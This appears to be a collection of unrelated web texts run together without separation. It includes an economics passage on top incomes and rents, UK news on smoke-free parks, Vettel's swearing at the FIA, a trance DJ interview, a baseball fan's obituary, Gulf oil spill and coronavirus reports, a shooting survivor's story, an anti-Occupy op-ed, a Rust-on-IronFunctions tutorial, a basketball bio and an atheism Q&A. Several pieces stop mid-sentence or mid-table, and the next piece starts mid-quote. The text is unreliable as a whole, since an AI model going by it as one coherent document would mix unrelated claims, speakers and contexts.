Will Putting A Brake On Top 1 Percent Growth Harm Overall Growth Rates?
If the rise in top 1 percent incomes has accrued largely from shifting rents, then multiple possibilities exist for redistributing these rents without slowing overall economic growth or distorting economic efficiency. Successful redistributions would then translate directly into increased living standards for low- and moderate-income households. Besides the evidence assembled above indicating that the growth of these incomes are largely rents, a number of recent studies have looked directly at the issue of shifting top shares on overall economic growth. For the US economy, the broad historical pattern is a strong association between stable top income shares and faster overall growth in early post-World War II economic history followed by rising top income shares and notably slower growth in the three decades before the Great Recession. This broad association between greater inequality and less growth is clearly not reversed in systematic attempts to establish a link between rising top shares and aggregate economic performance, nor by looking at international or state-level data.
For example, Piketty, Saez and Stantcheva (2012) examine the relationship between top marginal tax rates, top income shares, and aggregate economic performance, both in U.S time-series as well as using an international panel of 18 OECD countries. They find strong evidence that falling top marginal tax rates are associated with higher pre-tax top income shares. However, they do not find a strong association either between falling top marginal rates and rising economic growth or (for the U.S. data) rising top income shares and faster economic growth. They also find significant evidence that falling top marginal tax rates are associated with slower income growth for the bottom 99 percent of households. They take this constellation of evidence as supporting a “bargaining model where gains at the top have come at the expense of the bottom.”
Andrews, Jencks and Leigh (2011) find slightly mixed evidence on the larger issue of top shares and subsequent growth, with increases in the share of income accruing to the top 10 percent positively (and generally statistically significant across regression specifications) related to subsequent overall growth in their preferred regression models. They note the modest economic impact implied by their results: “But at the very least, the 95 percent confidence intervals for our preferred estimates appear to rule out the claim that a rise in top income shares causes a large short-term increase or decrease in economic growth. The claim that inequality at the top of the distribution either benefits or harms everyone therefore depends on long-term effects that we cannot estimate very precisely even with these data.” Most importantly for the question at hand, these results are driven by what is happening between the 90th and 99th percentiles. They note: “The top 1 percent’s share is never both positively and significantly related to the growth rate.”
Thompson and Leight (2012) have recently used a different sort of panel to examine the relationship between top income shares and growth – looking at the top 1 percent within individual U.S. states. Their analysis finds that rising top 1 percent income shares are associated with falling subsequent growth in incomes and earnings for households in the middle of the distribution, while having no significant effect on growth at the bottom of the distribution. Further, their finding on the statistical significance of the depressing effects of rising top shares on middle-incomes is fairly robust and survives the inclusion of a range of covariates (though its economic impact is relatively modest).
Some advocates for reversing the rise of the income share of the top 1 percent occasionally make strong claims that the rise at the top has harmed overall economic growth. Our claim here is more modest: the empirical evidence that has directly examined the effect of rising top 1 percent shares on overall economic growth certainly does not suggest that they are strongly and robustly associated. But as long as the shift to the top 1 percent is not associated with improved growth, then the rest of the income distribution is harmed.
What to Do? Attack Rents Directly and Raise Taxes
We think the suggestive evidence that the rise in top 1 percent shares stems from the creation and/or redistribution of rents, as well as the direct evidence that changing shares in the U.S. economy do not seem to significantly affect aggregate outcomes, means that there is ample room for policymakers to act to stabilize or reverse top 1 percent shares. Taking much more ambitious steps (so long as they are intelligently directed) to halt or reverse the concentration of income at the very top will not kill any golden goose of economic growth. Instead, it will just lead to more income for those at the bottom and middle of the income distribution.
As we see it, there are two broad categories to describe what can be done about the rise of the top 1 percent: try to attack the source of their ability to shift rents directly and try to reduce the incentives for rent-shifting.
Attacking the source of the top 1 percent’s ability to claim rents means acting on a long laundry list of policy changes. Baker (2011) provides a compelling argument behind many of these needed changes: Corporate governance reform that gives not just shareholders but other stakeholders as well real influence over executive pay decisions (for example, DiNardo et al. (1997) find that unionized firms more successfully restrict managerial pay); reform to ensure that financial firms are less likely to seek profits by hiding risks or exploiting information asymmetries; reconstituting labor standards that boost bargaining power at the low and middle-end of the wage-scale (higher minimum wages and labor law reform that allows willing workers to bargain collectively if they choose); the dedicated pursuit of genuinely full employment; and reform of intellectual property law that greatly reduces the legal monopoly granted to sectors like pharmaceuticals, software, medical devices, and entertainment.
Attacking the sources of |
I welcome any measures to reduce both active smoking and its role-modelling in front of children.’
But Stephanie Lis, of the Institute for Economic Affairs, said: ‘This is an outrageous attack on personal freedom – a slippery slope on the path to banning smoking altogether.
Park: People lighting up in public encourages children, the report said (picture posed by model)
‘Politicians must avoid this heavy-handed interference in the lives of ordinary people.’
And Simon Clark, of the smokers’ group Forest, said: ‘A ban on smoking in open air parks would be outrageous.
'There’s no health risk to anyone other than the smoker. If you don’t like the smell, walk away.
‘The next thing will be a ban on smoking in our own gardens in case a whiff of smoke travels over the fence.
‘The anti-smoking bandwagon is becoming farcical. It’s sad to see the Mayor of London encouraging such nonsense.’
Mr Johnson said the proposal should spark public debate. ‘One of the glories of London is that we are generally pretty laissez-faire about how people live their lives – provided they do not break the law and provided they do no harm to others,’ he said.
‘If we were to consider a ban on smoking in parks, we would need pretty clear evidence that this would have direct health benefits – in other words, that it would actually save lives. It is time for London to have that debate.’
The Government’s public health quango backed the idea of smoke-free parks.
Rosanna O’Connor, who heads the alcohol, drugs and tobacco division of Public Health England, said: ‘Parks and outdoor spaces should be healthy environments for people of all ages. Smoke-free outdoor spaces will help de-normalise smoking in our society by reducing the number of smoking role models for children.’
Professor Robert West, director of tobacco studies at University College London, said: ‘I would expect it to save lives by reducing reminders of smoking in those who are trying to quit and providing more incentive to stop.
‘I hope most smokers would see this as a positive step.’
Optimistic: The report for Boris Johnson aims to turn London into a healthier capital (picture posed by models)
STATE'S 12-YEAR CRACKDOWN ON OUR TOBACCO HABIT 2002 - Ban on all tobacco advertising and sponsorship 2007 - Smoking ban in public places such as bars and restaurants in England 2008 - Introduction of graphic images on cigarette packets 2011 - Ban on tobacco vending machines 2013 - Ban on display of cigarettes in shops starts to be rolled out 2014 - Parliament votes to ban the smoking of cigarettes in cars when children are present The future - Government is considering mandatory plain cigarette packages
Lord Darzi’s report, called Better Health for London, calls for a range of measures to improve the health of people in the capital – leading to a ‘healthier, slimmer, fitter city’. It called for mandatory traffic-light labelling on restaurant menus, public transport discounts for those who walk for a substantial part of their journey to work and restrictions on junk food outlets near schools.
Councils with a particular alcohol problem should also use their licensing powers to introduce a minimum unit price of 50p. This final recommendation would be seen as a challenge from the London Mayor to David Cameron. The Government has so far declined to introduce minimum pricing.
Lord Darzi said Mr Johnson should use his powers over Trafalgar Square and Parliament Square to ensure they go smoke free.
He should also use his influence over the Royal Parks, the board of which he appoints. This would take in Hyde Park, Richmond Park, St James’s Park, Green Park, Regent’s Park, Kensington Gardens and Greenwich Park. Town halls would be encouraged to do the same in the parks they control.
It is hoped cities and towns up and down the country would follow suit.
‘The ideas and proposals in this report have been developed for London,’ said Lord Darzi. ‘Yet they could just as easily apply to other big cities in the UK.
'Hundreds of children take up smoking every week – two classrooms-full a day in London. Once they start they continue, since cigarettes are more powerfully addictive than narcotics.
'We know smoking is bad for health,' said Dame Sally, 'So I welcome any measures to reduce role modelling'
‘It’s little surprise that in places where more adults smoke, more children begin smoking too. London should lead the way for Britain, and the Mayor should lead the way for London by acting to make our public spaces smoke free.’
Asked how smoke-free parks would be policed, Lord Darzi said 98 per cent of people abided by the ban on smoking in pubs and restaurants which was introduced in July 2007.
‘I don’t see the necessity of having wardens walking around the parks,’ he said. ‘The evidence will suggest that our nation does abide with the laws. We just need very clear signs.’
The plan was welcomed by Michael Bloomberg, the former mayor of New York City, where smoking is already banned in all parks.
He said: ‘London’s plan will help prevent children from picking up the habit, discourage adults from smoking, and improve the health of children and families.
‘I look forward to visiting London’s smoke-free parks and squares, and I’m certain that millions of others will as well.’
Deborah Arnott, of the anti-smoking charity ASH, said: ‘London needs to do more to tackle smoking, which is the major cause of preventable premature death in the capital.’
A source close to Health Secretary Jeremy Hunt said he was not considering extending smoking bans to public parks, though London and local authorities could act independently to implement their own measures.The Ferrari driver was left angry in the closing stages of the Mexico City event when the FIA did not immediately order Max Verstappen to move aside for him after having cut across the track to retain third place.
After initially venting his frustration at Verstappen, Vettel then shifted his focus to Whiting, who was spending his time working out if rules had been broken.
His radio exchange went:
Vettel: “Move! Move for [bleep] sake!”
Vettel: “He’s a [long bleep], that’s what he is.”
Vettel: “I mean, am I the only one or are you not seeing what I’m seeing? He’s just backing me off into Ricciardo [bleep].”
Engineer Riccardo Adami: “Charlie said that…”
Vettel: “Yeah! You know what? Here is the message for Charlie: [bleep] off! Honestly, [bleep] off.”
Disrepute charge
Vettel’s swearing caused considerable controversy, and the four-time World Champion went to see Whiting immediately after the race to apologise.
However, despite there not being an official statement from the FIA on the matter yet, it is understood that the governing body is taking the matter seriously and is looking into it to see if any action needs to be taken.
Should it believe Vettel's behaviour is not acceptable, then a more formal investigation could be triggered to work out if Vettel actually broke any rules.
While the FIA could decide that Vettel’s apology to Whiting was enough, it may elect to take a hardline approach to the matter. It is not impossible that Vettel is charged for the following breaches of the FIA International Sporting Code:
12.1.1.c Any fraudulent conduct or any act prejudicial to the interests of any Competition or to the interests of motor sport generally.
12.1.1.f Any words, deeds or writings that have caused moral injury or loss to the FIA, its bodies, its members or its executive officers.
Penalties for a breach of the rules can include a reprimand, a fine or even suspension from an event.
Vettel’s old Red Bull boss Christian Horner was one of those who said that he would be surprised if Vettel was not sanctioned for what happened.
“In any sport, what you cannot do is give abuse to the referee essentially,” he said. “So, I would be surprised if that went unreprimanded."Sean Tyas is a household name in the trance scene. Sean is responsible for many classic trance tracks and hosting his very popular radio show, Titanium Sessions. But there is a change brewing in the trance scene and producers have been changing their sound around a lot. After his set at Nocturnal we had a chance to sit down with Sean to talk about some of these changes and as well as catch up with some of his recent events.
The DJ List: Hey Sean, it seems you are having a fantastic year, tell us, what have you been up to?
I have been really big on the gig front as well as getting lots of stuff accomplished in the studio. If I think back to it, I have had an insane busy year with 9 releases in the last couple of months. A couple of months ago there was a period where a release was due every 3 weeks, it was crazy. This was also a new concept for me, as I decided to split up my album release. I first wanted to do just one record and then I decided to just cut it up and making it individual singles. As far as gigs go, I am obviously proud to be here at Nocturnal, it's always a great honor to play at any Insomniac event I think. I also did Nature one in Germany, that was a really fun event. I also played out at Tomorrowland for the first time this year, I has been absolutely amazing this year to be playing at big festivals like that. I have been to Ibiza 6 times this year, it’s the most trips I have ever made out there. It has been definitely been an amazing and brutal summer for me touring wise.
The DJ List: What can you say has been the real focus point for you this year?
Evolution, it really just been learning new techniques and trying to integrate them into my tracks. Trying to find new avenues while trying to explore my sound and at the same not piss off the forum trolls to bad.
The DJ List: You released Diamonback, which is a little different than what we are used from you. What can you tell us about that track?
Diamonback is of course a great example of that, it’s something that I released under the name Naes, from Sayt Naes, which is just SEAN TYAS spelled backwards, but I dropped the Sayt because it was just a bitch to spell. Which was my name back in the days for the more tougher electro stuff, and you know what, I really like this sound. I never called myself an uplifting trance dj, I don’t think I am. My sound has always been pushing, driving and power, and melodic to a degree. I felt that Diamonback was the best way to do that.
The DJ List: With that being said, how do you think your sound has progressed?
I have really stuck to the exact same sound until the last 18 months or so and I have been slowly unraveling, really been opening my mind to other genres and other sounds. To go on beatport and not listen to the trance genre, go on and listen to electro or listen to progressive house. Even though progressive house is a little weird right now, I go to like Psy trance or Breaks, just what ever. All these things open you up to new sounds that you never heard in trance before and vice versa. For me it has been a year of learning and taking my sound to a level that I never expect it to ever be at.
The DJ List: You have a podcast called Titanium. What is this show all about and how is any different from all the other podcasts our there?
Well I have not been doing it for too long yet, I am up to 165 on Monday. I just cannot stop, once you start that train you have to keep going, every week. It is an hour show, I like to make sure I only play unreleased tracks. It is just my way of breaking my own tracks. Instead of sending it out and waiting for it to get slotted into other tracks. I break it into my own shows, plus it is on Itunes and Soundcloud, which gives people flexibility on what platform they want to listen to it. It is just the music that I really like and in the end that is what really sets it apart from other podcasts.
The DJ List: Anything special planned for Episode 200?
Yes, I definitely planning an event or two. It is just the question of choosing the right venue. I have made a point for myself to not start planning or even really think about it until I reach episode 175. I do not want to start stressing to early.
The DJ List: What can you tell us about your studio setup?
It’s very minimal, it actually is even more minimal now than it was a couple of months ago. I used to use an early Mac Book Pro Quad from 2006 which is responsible for doing almost all of my tracks up untill now. I just switched to a new Macbook Pro with Retina Display, that replaced my old Mac and it is amazing, it is faster than my desktop. Which is not that hard since my desktop is also from 2006, I actually think even my phone is faster than my desktop. The thing is just insane though, I have never seen anything like it. The only drawback is that it runs Mountainlion, and I think a lot of the Mac users can agree with me that Mountainlion really sucks. I use it together with Logic, but Logic really has not been updated in forever, so I am thinking of switching over to Ableton. My favorite plug-ins are definitely Massive and also ES2, which I am going to miss like hell when I switch over to Ableton. As far as processing plug-ins, Sausage Fattener is the bomb, the easiest plug in to make any sound, sound good. If you suck in sound programming, you just put that on it and it will just sound amazing.
The DJ List: Earlier this month ARMIN VAN BUUREN said in a statement that this is the biggest year for trance, what do you think of that?
Bullshit, I like Armin. He is a really nice guy and super optimistic all the time and such a good guy. But this was definitely not the best year for trance, trance took a beating like a loser in a heavy weight bout boxing match. But that is not the reason I am changing, trance took a beating, because it is not allowed to change, not allowed to evolve. If any of us try to change anything new in our genre, in trance, we get obliterated for it in the forums and everyone wants to stomp on us for it. So we are all being pushed back to do this same music we have been doing for the last 10 to 15 years and its fucking annoying. So that is the problem with trance and I am not saying the fans are a bunch of dicks, but they are militant and loyal to their genre, and so was I! And they feel like they are being cheated on, but they just really need to open their minds to new things.
The DJ List: What can we expect to see from you for the remainder of 2012?
I am going to restart my label in the next month or two. I have two releases lined up, the first one is a track with JULIE THOMPSON, it’s called What I am. It’s a bit slower, but I am really happy with it and hope people will like it. It’s a bit different and I am not going to do any remixes for it, I just want people to open their minds and accept it for what it is. The next one is a collaboration between Darren Porter Fairy Tale, it’s a beautiful track. It’s a really nice collaboration between different genres and I am really excited about it and looking forward to its release. I got a cool trip to Asia coming up, I am doing Bangkok and Singapore, I am really excited to see how that goes. There are a couple of things out of the ordinary that I am really looking forward to.NEW YORK -- The sign man of Shea Stadium died Thursday.
Karl Ehrhardt was a fixture at Mets games from 1964 through 1981, famous for holding up tailored signs after key plays that displayed his
pleasure or frustration with the team.
Karl Ehrhardt, the Mets fan known as the Sign Man for his witty and biting signs at Shea Stadium, holds up a "Met Power" sign after a home run in Game 3 of the 1969 World Series. Ehrhardt died Thursday at 83. AP Photo
He was 83 and died at his home in the Glen Oaks section of
Queens, according to his daughter Bonnie Troester. Ehrhardt had
been recovering from vascular surgery.
Ehrhardt's block-lettered signs served as color commentary for
both fans in the stands and TV viewers at home. He carried dozens
to each game, some witty, some biting.
"Jose, Can You See?" was a regular when Mets outfielder after
Jose' Cardenal struck out. "It's Alive!" was for hitters who
broke out of a slump.
"Just Great!" was for more spectacular moments.
Only the Mets 1969 World Series victory left him speechless. The
sign he raised high after the last out read, "There Are No
Words."
At one point he had about 1,200 signs to choose from.
"I just called them the way I saw them," Ehrhardt told The New
York Times in 2006.
"Before I went to the ballpark, I would try to crystal-ball
what might happen that particular day," he said. "I would read
all the newspapers to learn who was hot and who was in a slump,
stuff like that, and create my signs accordingly."
Ehrhardt wasn't always a Mets fan. He grew up rooting for the
Dodgers in Brooklyn before switching to the Mets in the early
1960s.
"He was part of the happening that Shea became," said Bob
Mandt, former Mets vice president for baseball operations.
Ehrhardt was born in Unterweissbach, Germany. He moved to the
United States when he was six years old and later served as a
translator for U.S. forces during World War II.
He graduated from the Pratt Institute with a design art degree
after the war and worked for American Home Foods.
His wife, Lucille Schneyer, died in 1997. He is survived by a
daughter, a son and two grandchildren.Feds may set Gulf oil slick ablaze
A satellite shot, taken Monday, of the oil slick off the coast of Louisiana.
NEW YORK (CNNMoney.com) -- Coast Guard officials are considering setting the Gulf of Mexico oil slick on fire as it moved Tuesday to within 20 miles of sensitive ecological areas in the Mississippi River Delta.
Officials say it could become one of worst spills in U.S. history.
Oil is still leaking at a rate of about 42,000 gallons a day from the well, located some 50 miles off the coast of Louisiana beneath a drill rig that exploded and sank last week. Eleven workers are still missing following the incident, and are presumed dead.
BP, the well's owner, is racing to shut off the well using eight remote controlled submarines, but has had no luck as of yet.
"If we don't secure the well, this could be one of the most serious oil spills in U.S. history," Coast Guard Rear Admiral Mary Landry, head of a joint response task force, said at a press conference Tuesday afternoon.
Twenty miles is the closest the slick has come to land so far.
Officials said oil slicks are sometimes set on fire, especially when they are near sensitive marsh areas where heavy equipment used to clean the oil may cause more harm than good.
If the slick is set on fire, it would be a controlled burn using fire-proof booms, and only done during the day, said Landry. It could begin as early as Wednesday.
The spill, measured from end to end, stretched as wide as 42 miles by 80 miles, although oil isn't necessarily covering that entire area.
Most of the slick is a thin sheen on the water's surface, ranging in thickness from a couple of molecules to the equivalent of a layer of paint. About 3% of it is a heavy, pudding-like crude oil.
At its current flow rate would take over 260 days to rival the Exxon Valdez disaster, which discharged some 11 million gallons into Alaska's Price William Sound. Still, even if it never compares to the Exxon Valdes spill's size, if it makes landfall it'll have serious ecological repercussions.
The Coast Guard, BP, and the rig's owner Transocean (RIG), have deployed nearly 50 vessels to help contain and clean the slick.
Marine life has been spotted in the area. Over the weekend a plane from the U.S. Fish and Wildlife Service sighted five small whales nearby. Crews working to contain the spill were alerted to their presence.
Efforts are also underway near the shoreline to deal with the spill should it reach land, including positioning boom material around sensitive ecological areas.
Five staging areas have been set up on land, stretching from Venice, La. to Pensacola, Fla.
Landry said it appears the slick should remain at sea for at least the next three days, although weather reports for the latter part of that period suggest the wind could shift and blow the slick toward land.
The oil, if it stays at sea, will eventually evaporate, breakdown and sink, or get cleaned up.
But analysts have said the spill could have political fallout, especially if it reaches shore.
Several lawmakers and interest groups have led a charge over the last several years to open up more parts of the U.S. coast for oil drilling, efforts that are generally supported by the public.
That support could erode if crude oil starts washing up on the Louisiana or Mississippi coasts.
The well is expected to continue leaking until it is sealed. The leak appears to be coming from a pipe that ran from the well head to the drilling rig, which is now laying upside down in 5,000 feet of water not far from the well head.
It has not been decided if the rig will be salvaged or remain where it is, a Transocean official said Monday.
To seal the leak, three approaches are being tried.
BP is now using a set of remote controlled submarines in an attempt to activate the well's "blow out preventer" -- a steel device the size of a small house that sits atop the well and is intended to choke off the flow of oil in the event of a disaster.
It's not clear why that device didn't not originally act to cap the well, or if it will be of any use going forward.
BP (BP) is also bringing in another drilling rig which could seal the well, but that effort will take months, according to a BP spokesman.
In the meantime, the company is also trying a novel approach to capture the oil -- using a dome right above the well head. The dome resembles an inverted funnel, with a pipe leading up to ships waiting at the surface to capture the oil. That tactic has never been tried in water this deep.
A BP spokesman said the dome should be ready in two to four weeks.
The blast last week, which is still under investigation, resulted in 11 workers going missing. The search for them was suspended last Friday.
115 other people made it off the rig after it exploded, most of them safely. One person remains in the hospital.A third member of one UK family has been infected by the new Sars-like virus that appears to have originated in the Middle East, according to the Health Protection Agency.
The first member of the family to fall ill had travelled to the Middle East and Pakistan. That person and a relative who had a pre-existing medical condition, which might have made them more susceptible to infection, were admitted to a Manchester hospital.
But the third family member to have contracted the novel coronavirus is said by the HPA to be recovering from a mild respiratory illness and is well. He or she has been advised not to meet with other people who are not part of the family, but only as a precaution. Other relatives and contacts of the latest person to be diagnosed are still being tracked down and tested.
There have been 12 confirmed cases worldwide, of which four were found in Britain. Three in Saudi Arabia and two in Jordan have died. But the HPA made it clear it did not consider the latest case to be an escalation of the problem.
Professor John Watson, head of the respiratory diseases department at the HPA, said: "Although this case appears to be due to person-to-person transmission, the risk of infection in contacts in most circumstances is still considered to be low. If novel coronavirus were more infectious, we would have expected to have seen a larger number of cases than we have seen since the first case was reported three months ago. However, this new development does justify the measures that were immediately put into place to prevent any further spread of infection and to identify and follow up contacts of known cases.
"We would like to emphasise that the risk associated with novel coronavirus to the general UK population remains very low. The HPA will continue to work closely with national and international health authorities and will share any further advice with health professionals and the public if and when more information becomes available."Two years ago, Alexandria Reese’s life was shattered in a split second.
Alexandria, or Alix as her friends call her, was caught in the middle of a gunfight between gang members.
The bullet that went through Alix's neck severed her spinal cord, splintered several vertebrae and left her paralyzed.
Now, her story inspires and amazes everyone, even her doctors.
At a recent small fundraiser, her friends sold raffle tickets and talked about what now matters most.
“We don't want this story to be forgotten. We don't want her to be left alone and forgotten about,” said Emily Purje.
Her friends want to find justice for Alix.
It was on May 27, 2010 when Alix had agreed to drive a friend home and took a shortcut through East Columbus.
A round of bullets suddenly pierced the night, and Alix was struck.
“I was just talking to my friend and then I remember getting hit in the neck and my head falling back, and my friend yelling my name, and that’s about as much as I remember,” said Alix.
Alix’s car drifted toward the curb and into a parked car along Atcheson Street. Calvin Giles lived right where Alix’s car stopped.
Calvin told his family, including his four young children, to stay put as he ran outside to help. He did not know who was in the car or if the shooters were still nearby.
“And I looked in there and Alix was laying in the driver seat gasping for air and she leaned her head to the side and I seen a gaping hole with blood gushing out in her neck,” said Calvin. “It was a lot of blood coming out. It was just a reaction, the only thing I got is my shirt. (I) took my shirt off, wrap it around my hand, and just held it on there and talked her through it until the paramedics came.”
Calvin said he believes he was at the right place at the right time for a woman who was in the wrong place at the wrong time.
When the paramedics arrived, Calvin stood back and prayed.
Now, Alix and Calvin’s family are bonded for life.
“Her family say(s) I’m a hero for stepping in, but I mean, she's a hero because she still smiles every time I see her. On Facebook, she's happy. She's content, even though she's paralyzed. She still find it in her heart to be cheerful,” said Giles.
Alix believes her disability now gives her the ability to find strength, and a constant smile.
“I get moments, but I just don't dwell on it because I'll just stay sad all the time, so I just look to the positive of looking up at what's next, where can I go next, what I can do to show people how hard I'm working on,” said Alix.
Her outlook continues to amaze friends and strangers.
“She's still the exact same person I grew up with, she hasn't changed. She's not into having pity parties. She's the same person, just laughing and joking and so happy to see everyone that comes in to see her, big smile and everything,” said Sarah Schworm.
Friends continue to hold fundraisers to help with Alix’s recovery.
Last year, they helped Alix’s family buy a custom fitted wheelchair so she has easier accessibility during those rare outings away from home, which is now the Villa Angela healthcare facility in north Columbus.
“Sometimes, I'll come out here as much as I can because I love being outside, I like the sunlight on my face and I like it out here, it's peaceful, quiet,” she said.
And Alix knows that every day is progress.
Two years ago, doctors told her family they never thought she would survive the shooting.
If she survived, doctors said she'd never feel anything from the neck down.
But Alix is a survivor and has proved everyone wrong.
"Every day I move my shoulders more and I'm trying to get to the point where I can move my arms a little more,” said Alix. “And I like to stare at my hands and try to move my fingers a little bit and see if they can move.”
Alix’s next goal is to get off her ventilator, and breathe on her own. So far, she's up to two hours and counting.
It's that spiritual strength that gives Alix every reason to believe more miracles are ahead.
As for the shooter, Columbus detectives said they are no closer to solving the case, mostly because no one is talking.
Watch 10TV News and refresh 10TV.com for more information.I think it’s safe to say the Occupy Wall Street experiment as a political force is over. Sorry, Carter, it was born a political zombie, and it only became more rancid over time.
The left wing in America can’t resist rambling stoners, malcontents, and Grateful Dead camp followers. For a while, they tried to superimpose some sort of political meaning to the group -- income inequality, workers’ rights, and the like. But nothing ever took root, because OWS was never serious in the first place. It diminishes any societal or political point you want to make when you oppose organized sanitation.
As everyone knows, zombies never really die, so it is possible the OWS movement will infest public space again. But they won’t be forming the core of Obama reelection rallies — or at least he hopes not. Only the most marginal Democratic officials would appear in close proximity to an OWS assembly.
Perhaps OWS, in some form, played into a Democratic longing to create more of a political connection to some sector of the population. Even if it is class warfare, Democrats do have to represent a class — but OWS never truly constituted a class, or even a sub-class, to begin with. Arguably, only the most misguided fully committed to joining the OWS camps. If, as Carter rightly states, the American dream is to work hard and play by the rules to achieve success, the OWS-ers are doing neither.
Other Americans who may be concerned about issues such as income inequality could not identify with OWS as a movement, particularly after observing increases in violence, disrespect of the police, disease outbreaks in the camps, and the lack of a coherent message.
For those of us who don’t live near one of the protest sites, the OWS movement supplied some comic relief, but they were never destined to survive the onset of inclement weather. Good riddance.As mentioned in my previous blog post there is new open-source, lambda compatible, on-premise, language agnostic, server-less compute service called IronFunctions.
While IronFunctions is written in Go. Rust is still very much admired language and it was decided to add support for it in the fn tool.
So now you can use the fn tool to create and publish functions written in rust.
Using rust with functions
The easiest way to create a iron function in rust is via cargo and fn.
Prerequisites
First create an empty rust project as follows:
$ cargo init --name func --bin
Make sure the project name is func and is of type bin. Now just edit your code, a good example is the following "Hello" example:
use std::io; use std::io::Read; fn main() { let mut buffer = String::new(); let stdin = io::stdin(); if stdin.lock().read_to_string(&mut buffer).is_ok() { println!("Hello {}", buffer.trim()); } }
You can find this example code in the repo.
Once done you can create an iron function.
Creating a function
$ fn init --runtime=rust <username>/<funcname>
in my case its fn init --runtime=rust seiflotfy/rustyfunc, which will create the func.yaml file required by functions.
Building the function
$ fn build
Will create a docker image <username>/<funcname> (again in my case seiflotfy/rustyfunc).
Testing
You can run this locally without pushing it to functions yet by running:
$ echo Jon Snow | fn run Hello Jon Snow
Publishing
In the directory of your rust code do the following:
$ fn publish -v -f -d./
This will publish you code to your functions service.
Running it
Now to call it on the functions service:
$ echo Jon Snow | fn call seiflotfy rustyfunc
which is the equivalent of:
$ curl -X POST -d 'Jon Snow' http://localhost:8080/r/seiflotfy/rustyfunc
Next
In the next post I will be writing a more computation intensive rust function to test/benchmark IronFunctions, so stay tune :DAlan Jeffery Anderson (born October 16, 1982) is an American professional basketball who last played for the Lakeland Magic of the NBA G League.
College career [ edit ]
Anderson attended Michigan State University (MSU), where he played college basketball with the Michigan State Spartans men's basketball team.
During his college career he was one of MSU's best ball handlers. He was the team's primary point guard during his junior season. Anderson, as a college senior, averaged 13.2 points, 5.6 rebounds and 1.7 assists per game, earning All-Big Ten Conference Team honors. He also helped lead the Spartans to the 2005 NCAA Men's Division I Basketball Tournament's Final Four. He was voted the team's MVP by the team's players and the media as a senior.[1] He earned his bachelor's degree in family community services from Michigan State in August 2005.[2]
Professional career [ edit ]
NBA and NBA D-League [ edit ]
Anderson signed with the Charlotte Bobcats in August 2005. He was waived by the Bobcats on November 28, 2006,[3] but re-signed him on March 17, 2007 for the rest of the 2006–07 season. Prior to re-signing with the Bobcats, he had been playing with the NBA D-League's Tulsa 66ers, averaging 15.8 points per game.[4]
Europe [ edit ]
On September 13, 2007, he signed a contract with the Italian League club VidiVici Bologna.[5] After spending one season with Bologna he signed with the Russian League club Triumph Lyubertsy in 2008. He joined the Adriatic League club Cibona Zagreb on December 31, 2008.[6]
On May 24, 2009, he signed with the Israeli League club Maccabi Tel Aviv.[7] He left after one year.
Return to the NBA D-League [ edit ]
Anderson was selected by the New Mexico Thunderbirds with the second overall pick in the 2010 NBA Development League Draft. Through 10 games with New Mexico, Anderson averaged 21.3 points per game, including a season high of 34 points against the Idaho Stampede on November 20.
Return to Europe [ edit ]
On December 21, 2010, Anderson signed with Spanish League club Regal Barcelona, the 2009–10 EuroLeague champion.[8] He was voted MVP of the 2010–11 Spanish King's Cup. Anderson was a key player in the final, chalking up 19 points in the win.[9] He left after one season.
Return to the NBA [ edit ]
On March 26, 2012, Anderson signed a 10-day contract with the Toronto Raptors.[10] On April 17, 2012, Anderson signed with the Toronto Raptors for the remainder of the 2011–12 season. While playing in Toronto he was able to win the trust of Dwane Casey and started over James Johnson. Out of his 17 games with the Toronto Raptors he started 12, averaging 9.6 points per game in 27.1 minutes. He re-signed with the Raptors on July 30, 2012.[11] During his time with the Raptors, Anderson became a bit of a polarizing figure amongst fans. Some praised his defensive efforts, while others referred to him as a ball-hog, the latter was especially evident after his overtime performance against the Miami Heat on January 24, 2013. Upon making two baskets in overtime, Anderson proceeded to shoot on every offensive possession afterwards, missing his next six shots (5 of those attempts and misses were 3-point attempts). Despite the poor showing, he finished the season with the Raptors before becoming an unrestricted free agent.
On July 30, 2013, Anderson signed with the Brooklyn Nets.[12] On July 15, 2014, he re-signed with the Nets.[13]
On July 12, 2015, Anderson signed with the Washington Wizards.[14] On October 13, 2015, he had successful surgery on his left ankle and was ruled out for the first half of the 2015–16 season.[15] Anderson made his debut for the Wizards on February 24, 2016, scoring nine points in 16 minutes against the Chicago Bulls.[16]
On August 3, 2016, Anderson signed with the Los Angeles Clippers.[17]
NBA G-League and BIG3 [ edit ]
On February 10, 2018, Anderson was acquired off waivers by the Lakeland Magic of the NBA G League.[18]
Career statistics [ edit ]
Legend GP Games played GS Games started MPG Minutes per game FG% Field-goal percentage 3P% 3-point field-goal percentage FT% Free-throw percentage RPG Rebounds per game APG Assists per game SPG Steals per game BPG Blocks per game PPG Points per game PIR Performance Index Rating Bold Career high
Note: The EuroLeague is not the only competition in which the player participated for the team during the season. He also played in domestic competition, and regional competition if applicable.
College [ edit ]
Year Team GP GS MPG FG% 3P% FT% RPG APG SPG BPG PPG 2001–02 Michigan |
being instrumental in their apostasy? I’m one!
Glad to hear it! I can’t say “many”—certainly not when compared to the numbers of Christians—but I do hear from them occasionally. I think this says more about the demographics of my readers than about specific religions.
Phil Myth @philmyth Have recently started exploring libertarianism and am wondering what your views on it are?
Again, labels can be misleading, but I’m a “libertarian” in the sense that I think that whatever can best be done in the private sector should be. And I believe that peaceful and honest people have the right to be left alone. Libertarianism rests on the acknowledgment that behind every law and every tax stands a loaded gun—i.e. if you don’t follow the law or pay the tax, men with guns will eventually show up at your door and haul you away to prison. Like most libertarians, I believe that the State should use such powers of coercion sparingly. Consenting adults should be able to do more or less anything they want (as long as they don’t harm others), and there is no such thing as a “victimless crime.” But I tend to break with libertarians on the following points: I believe that (1) certain important things cannot be accomplished by free markets (or cannot be best accomplished there); (2) too much wealth inequality is profoundly undesirable; and (3) Ayn Rand should be ignored.
Tony Earle @EarleTony From your pojnt of view, what would be the 3 main reasons why religion is deleterious for people…
It is false. It is intrinsically divisive (because it is false and, therefore, provides a very poor basis for agreement). It gives people bad reasons to be good, where good reasons are available.
Mike Anas @MikeAnas What are the merits of silent & introspective mindfulness vs. mindful walking, eating, or other forms of focused attention?
They’re ultimately the same. But it can be easier to first learn mindfulness as a sitting practice. I didn’t discover that walking meditation was as powerful as sitting until about midway through my first 10-day retreat.
Olsonic @BruinsScience Curious about your thoughts on the responsibilities of your fans to defend you from unscrupulous media attacks. nota1manjob?
Thanks for asking. I don’t think “responsibility” is the word I’d use—but I would be very grateful if readers would direct people to my Response to Controversy page whenever they see someone distorting my views online.
Mark Lambert @bootjangler11 What would it take to have a President of the US who was not afraid to declare his atheism or at least non-belief?
